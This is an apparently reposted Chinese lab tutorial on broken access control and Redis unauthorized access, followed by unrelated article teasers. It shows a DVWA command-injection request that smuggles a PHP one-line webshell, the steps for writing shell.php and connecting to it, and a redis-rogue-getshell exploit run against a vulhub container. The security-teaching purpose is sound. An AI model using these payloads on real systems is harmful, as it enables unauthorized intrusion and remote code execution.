失效的访问控制及漏洞复现

失效的访问控制(越权)

1. 失效的访问控制(越权)

1.1 OWASP TOP10

1.1.1 A5:2017-Broken Access Control

未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

1.1.2 A01:2021-Broken Access Control

访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

1.2 失效的访问控制类别

权限移动方向

1.2.1 水平越权

越权:大概率指的是在同级别账户之间横向移动,并且大概率指的是web应用

1.2.2 垂直越权

提权:大概率指的是操作系统漏洞提权,普通用户获取管理员权限

1.3 攻防案例

1.3.1 DVWA越权

POST /dvwa_2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1 Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.111.15/dvwa_2.0.1/vulnerabilities/exec/source/
Connection: close
Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded Content-Length: 77ip=127.0.0.0.1|echo+"<?php+@eval($_REQUEST[777])?>"+>+shell.php&Submit=Submit
1.3.1.1 实操

在部署了DVWA的服务器中打开C盘->打开phpstudy->打开WWW->打开DV,我们关心的是config(全局配置),hackable(在hackable中有flags<被包含的文件>,upload<上传的文件>),vulnerabilities(漏洞点)

启动bp,打开浏览器访问DVWA,点击命令注入(Commod Injection) 进行命令注入,输入127.0.0.1

使用bp进行抓包,抓取命令注入的数据包,发送重发器

image-20230901162109602

发现结果执行了ping命令,ping的是127.0.0.1,说明此处有命令拼接,可执行额外的命令。做命令拼接执行命令的逻辑

command1 & command2		#执行command1命令没有问题的时候再执行command2
command1 | command2		#管道符执行command1的结果作为command2的输入
command1 || command2	#command1执行失败则执行command2,command1执行成功则不执行command2
command1 ; command2		#command1执行结束再执行command2

执行额外命令,使用&进行分隔因为原本数据包中已有&,那么进行命令分隔的&需要进行url编码,选中分隔命令的&按Ctrl+u

image-20230901163917755

image-20230901164127912

点击发送(send)

image-20230901164443041

发现cookie中security的值是low,说明是初级的;承载初级的脚本在vulnerabilities下的exec中的source文件中

image-20230901164829923

打开low.php查看源代码,整个文件没有做访问控制限制,也就是说在退出登录的情况下依然能访问low.php。

image-20230901165454976

复制low.php的路径,退出DVWA登陆,访问

http://192.168.16.136/dv/vulnerabilities/exec/source/low.php

image-20230901165817182

界面为空,针对这个界面就可以进行命令执行。bp找到当前页面的数据包,发送重发器,点击发送(send),页面没有做任何响应。

image-20230901170049576

删除cookie并将数据提交方式改为POST(右键点击Change request method)同时传两个变量:ip=127.0.0.1%26whoami&Submit=Submit。首先给一个submit保证绕过low.php代码中的if判断,再给个IP就可以进行ping命令的拼接。但是数据包的响应无回显。

image-20230901170843407

返回的结果也无法判断命令执行成功与否,将whoami命令更换为calc(打开计算器),部署dvwa靶场的服务器中弹出计算器,说明命令执行成功。

image-20230901171204916

dvwa要求是需要用户登录的情况下才能回答dvwa里的题目,但是我们刚才的操作时不用登录就回答了dvwa里的题目,虽然没有回显,但是漏洞检测的时候只关心命令是否执行,只要命令执行了,不管有没有回显就说明此处就是未授权访问漏洞(失效的访问控制。)

1.3.1.2 使用漏洞写webshell

执行

echo xujie >xujie.txt

image-20230901173405179

来到/exec/source目录下,有新建的xujie.txt文件。

image-20230901173600728

image-20230901173650253

一般在目标某一目录下新建文件,动作会比较大,使用dnslog.cn平台点击创建域名,对域名进行解析

nslookup 域名

image-20230901174307134

image-20230901174451215

image-20230901174932455

image-20230901175016716

解析完成后查看dnslog.cn平台有没有解析记录,如果有解析记录说明nslookup执行成功了。

创建一句话木马

echo "<?php @eval($_REQUEST[777])?>" >shell.php

image-20230901175639502

image-20230901175803008

访问shell.php,然后使用蚁剑连接

image-20230901180420500

image-20230901180523715

1.4 相关漏洞

1.4.1 目录遍历

目录穿越,目录遍历,Directory Traversal。.Web用户,通过某种方式,可以访问Web根目录以外的文件甚至执行系统命令。

造成目录遍历漏洞的原因:

  • 文件包含
  • 文件读取
  • RCE

1.4.2 未授权访问

未授权访问,Unauthorized Access。==重要资产根本没有做访问控制限制,==导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作。

2. 未授权访问

2.1 Redis 未授权访问

不使用账号密码的情况下访问数据库,Redis 未授权:由于数据库未授权访问了,导致敏感数据泄露;数据库能够读写文件,利用未授权访问漏洞进行漏洞攻击的话就可以去写shell,创建SSH公钥,计划任务反弹shell;

2.1.1 Redis 介绍

Redis是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

Redis数据库经常用于Web应用的缓存。

Redis可以与文件系统进行交互。

Redis监听TCP/6379

Redis数据库端口号:6379

2.1.2 Redis 简单使用

Redis 未设置密码,客户端工具可以直接链接。

┌──(ajest�� zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1 127.0.0.1:6379> set name AJEST OK
127.0.0.1:6379> get name "AJEST"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename ajest.txt OK
127.0.0.1:6379> save OK
127.0.0.1:6379>

2.1.3 Redis 未授权访问

读取数据库内容读写系统文件执行系统命令
数据泄露直接写WebShell
计划任务反弹shell
SSH免密登录
redis-rogue-getshell

2.2 Redis 实操

2.2.1 环境搭建

CD到/vulhub/redis/4-unacc目录下,输入

sudo docker-compose up -d

打开Redis环境

image-20230901194738297

2.2.2 漏洞利用

sudo docker ps -a

查看端口号

image-20230901195308070

输入

redis-cli -h 127.0.0.1		#-h指定参数,连接本机的reids数据库

在没有账号密码的情况下直接连上了redis数据库。说明数据库存在未授权访问漏洞。

image-20230901195442400

redis数据库是以键值对进行存储数据的。就可以将redis数据库想象成一个超大的数组。redis数据库经常做缓存。

config set dir /tmp/
config set dbfilename xujie.txt		#将数据库存储在xujie.txt文件中,这个文件在tmp下

image-20230901201448743

因为连接的是docker容器的数据库,CD到容器中查看创建的数据库是否存在。

sudo docker exec -it 9a4f956818dc /bin/bash		#-it是指容器的id,/bin/bash是指登录到9a4f956818dc这个容器

为了证明创建的数据库是否存在并且具有读写权限。

ls /tmp
cat /tmp/xujie.txt

image-20230901201611494

4-unacc存在主从复制漏洞,而主从复制是可以执行系统命令的,执行系统命令需要一个Exploit脚本

image-20230901202645978

cd tools
proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git

image-20230901203715677

cd redis-rogue-getshell
cd RedisModulesSDK 
make
cd ..
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "id"

image-20230901204950627

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

image-20230901205054316

此处可以针对数据库的漏洞进行漏洞利用

2.2.3 漏洞检测

利用工具unauthorized用与检测未授权访问漏洞。一共提供了三十八种漏洞检测

cd ~/tools
ls 
cd unauthorized_com 
python3 unauthorized_com.py -i 127.0.0.1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/119989.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

攻防世界-web2

原题 解题思路 miwen应该是密文的拼音。在函数encode中&#xff0c;传入字符串str&#xff0c;依次将str中的每一个字符转换为十进制ASCII码加一&#xff0c;然后再转换成字符。逆向思路构建代码如下&#xff1a; <?php $miwen"a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA…

ES6中导入import导出export

ES6使用 export 和 import 来导出、导入模块 用法 /** 导出 export *///分别导出 export let name 孙悟空; export function sum(a, b) {return a b; } } //先定义再导出 let age 18 export {age}/** 默认导出 export default */const a 默认导出; export default a;/**…

汇编--int指令

中断信息可以来自CPU的内部和外部&#xff0c; 当CPU的内部有需要处理的事情发生的时候&#xff0c;将产生需要马上处理的中断信息&#xff0c;引发中断过程。在http://t.csdn.cn/jihpG&#xff0c;我们讲解了中断过程和两种内中断的处理。 这一章中&#xff0c; 我们讲解另一种…

栈和队列OJ

一、括号的匹配 题目介绍&#xff1a; 思路&#xff1a; 如果 c 是左括号&#xff0c;则入栈 push&#xff1b;否则通过哈希表判断括号对应关系&#xff0c;若 stack 栈顶出栈括号 stack.pop() 与当前遍历括号 c 不对应&#xff0c;则提前返回 false。栈 stack 为空&#xff1…

基于单片机的太阳能热水器控制器设计

一、项目介绍 随着环保意识的逐渐增强&#xff0c;太阳能热水器作为一种清洁能源应用得越来越广泛。然而&#xff0c;传统的太阳能热水器控制器通常采用机械式或电子式温控器&#xff0c;存在精度低、控制不稳定等问题。为了解决这些问题&#xff0c;本项目基于单片机技术设计…

leetcode55.跳跃游戏 【贪心】

题目&#xff1a; 给你一个非负整数数组 nums &#xff0c;你最初位于数组的 第一个下标 。数组中的每个元素代表你在该位置可以跳跃的最大长度。 判断你是否能够到达最后一个下标&#xff0c;如果可以&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 示例…

Rasa 多轮对话机器人

Rasa 开源机器人 目录 Rasa 开源机器人 1. 学习资料 2. Rasa 安装 2.1. rasa 简介 2.2. Rasa系统结构 ​编辑 2.3. 项目的基本流程 ​编辑 2.4. Rasa安装 2.5. 组件介绍 3. Rasa NLU 3.0. NLU 推理输出格式 3.1. 训练数据 ./data/nlu.yml 数据文件 3.2. ./confi…

css3对文字标签不同宽,不同高使用瀑布流对齐显示

<div class"wrapper" style"padding: 0;"><span class"wf-item task-tags text-center" v-for"(item,index) in data.categorys" :key"index">{{ item }}</span> </div>/* 名称瀑布流显示 */ .wrap…

【ES6】js中的__proto__和prototype

在JavaScript中&#xff0c;__proto__和prototype都是用于实现对象继承的关键概念。 1、proto __proto__是一个非标准的属性&#xff0c;用于设置或获取一个对象的原型。这个属性提供了直接访问对象内部原型对象的途径。对于浏览器中的宿主对象和大多数对象来说&#xff0c;可…

Ansible之变量

一&#xff09;Ansible变量介绍 我们在PlayBook⼀节中&#xff0c;将PlayBook类⽐成了Linux中的shell。 那么它作为⼀⻔Ansible特殊的语⾔&#xff0c;肯定要涉及到变量定义、控 制结构的使⽤等特性。 在这⼀节中主要讨论变量的定义和使⽤ 二&#xff09;变量命名规则 变量的…

【Windows 常用工具系列 11 -- 笔记本F5亮度调节关闭】

文章目录 笔记本 F 按键功能恢复 笔记本 F 按键功能恢复 使用笔记本在进行网页浏览时&#xff0c;本想使用F5刷新下网页&#xff0c;结果出现了亮度调节&#xff0c;如下图所示&#xff1a; 所以就在网上查询是否有解决这个问题的帖子&#xff0c;结果还真找到了&#xff1a;…

(数字图像处理MATLAB+Python)第十二章图像编码-第一、二节:图像编码基本理论和无损编码

文章目录 一&#xff1a;图像编码基本理论&#xff08;1&#xff09;图像压缩的必要性&#xff08;2&#xff09;图像压缩的可能性A&#xff1a;编码冗余B&#xff1a;像素间冗余C&#xff1a;心理视觉冗余 &#xff08;3&#xff09;图像压缩方法分类A&#xff1a;基于编码前后…

华为Mate 60系列安装谷歌服务框架,安装Play商店,Google

华为Mate 60 Pro悄悄的上架。但是却震撼市场的强势登场,Mate 60系列默认搭载的就是鸿蒙4.0。那么mate 60加上4.0是否可以安装谷歌服务框架呢&#xff1f;本机到手经过测试是可以安装的&#xff0c;但是在解决play非保护机制认证还通知这个问题上,他和鸿蒙3.0是不一样的。如果我…

(10)(10.8) 固件下载

文章目录 ​​​​​​​前言 10.8.1 固件 10.8.2 Bootloader 10.8.3 APM2.x Autopilot 10.8.4 许可证 10.8.5 安全 前言 固件服务器(firmware server)可提供所有飞行器的最新固件。其中包括&#xff1a; CopterPlaneRoverAntennaTrackerSub 本页提供了一些被视为&quo…

无锡布里渊——厘米级分布式光纤-锅炉安全监测解决方案

无锡布里渊——厘米级分布式光纤-锅炉安全监测解决方案 厘米级分布式光纤-锅炉安全监测解决方案 1、方案背景与产品简介&#xff1a; 1.1&#xff1a;背景简介&#xff1a; 锅炉作为一种把煤、石油或天燃气等化石燃料所储藏的化学能转换成水或水蒸气的热能的重要设备&#xff…

K8S:二进制部署K8S(两台master+负载均衡nginx+keepalived)

文章目录 一.常见的K8S部署方式1.Minikube2.Kubeadmin3.二进制安装部署 二.二进制搭建K8S(双台master)1.部署架构规划2.系统初始化配置3.部署 docker引擎4.部署 etcd 集群&#xff08;1&#xff09;etcd简介&#xff08;2&#xff09;准备签发证书环境&#xff08;3&#xff09…

Node.js 应用的御用品: Node.js 错误处理系统

开发中&#xff0c;有些开发者会积极寻求处理错误&#xff0c;力求减少开发时间&#xff0c;但也有些人完全忽略了错误的存在。正确处理错误不仅意味着能够轻松发现和纠正错误&#xff0c;而且还意味着能够为大型应用程序开发出稳健的代码库。 特别是对于 Node.js 开发人员&am…

【iOS】Category、Extension和关联对象

Category分类 Category 是 比继承更为简洁 的方法来对Class进行扩展,无需创建子类就可以为现有的类动态添加方法。 可以给项目内任何已经存在的类 添加 Category甚至可以是系统库/闭源库等只暴露了声明文件的类 添加 Category (看不到.m 文件的类)通过 Category 可以添加 实例…

zabbix配置钉钉告警、和故障自愈

钉钉告警python脚本 cat python20 #!/usr/bin/python3 #coding:utf-8 import requests,json,sys,os,datetime # 机器人的Webhook地址 webhook"钉钉" usersys.argv[1] textsys.argv[3] data{"msgtype": "text","text": {"conten…

uniapp集成windicss的流程

一、背景介绍 Windicss是一个基于Tailwind CSS 灵感的库,它更快、更兼容,使用 TypeScript 构建。Windicss的目标是为了解决与Tailwind CSS 类似的问题,提供一个可以快速上手开发的组件库,让开发者不再需要繁琐地编写 CSS 样式。Windicss包含了几乎所有的 CSS 样式,因此开发…